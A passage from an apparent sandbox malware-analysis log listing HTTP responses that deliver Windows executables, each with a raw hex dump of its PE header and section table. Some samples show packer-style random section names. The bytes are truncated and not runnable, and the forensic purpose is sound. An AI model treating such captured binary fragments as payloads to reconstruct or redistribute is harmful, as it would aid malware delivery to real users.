64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 16:44:46 GMTContent-Type: application/octet-streamContent-Length: 1973248Last-Modified: Sat, 23 Nov 2024 16:31:48 GMTConnection: keep-aliveETag: "67420374-1e1c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4e 00 00 04 00 00 d1 72 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 1f 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 1f 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 6e 6e 76 79 68 70 00 00 1b 00 00 20 33 00 00 00 1b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6a 64 67 68 76 63 78 00 10 00 00 00 20 4e 00 00 04 00 00 00 f6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4e 00 00 22 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 16:46:09 GMTContent-Type: application/octet-streamContent-Length: 4417024Last-Modified: Sat, 23 Nov 2024 14:59:47 GMTConnection: keep-aliveETag: "6741ede3-436600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 90 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 c5 00 00 04 00 00 35 76 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 70 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 6f c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 63 6d 6e 6a 64 62 68 00 c0 1b 00 00 c0 a9 00 00 b2 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 71 69 77 62 72 69 63 00 10 00 00 00 80 c5 00 00 06 00 00 00 3e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 c5 00 00 22 00 00 00 44 43 00 00 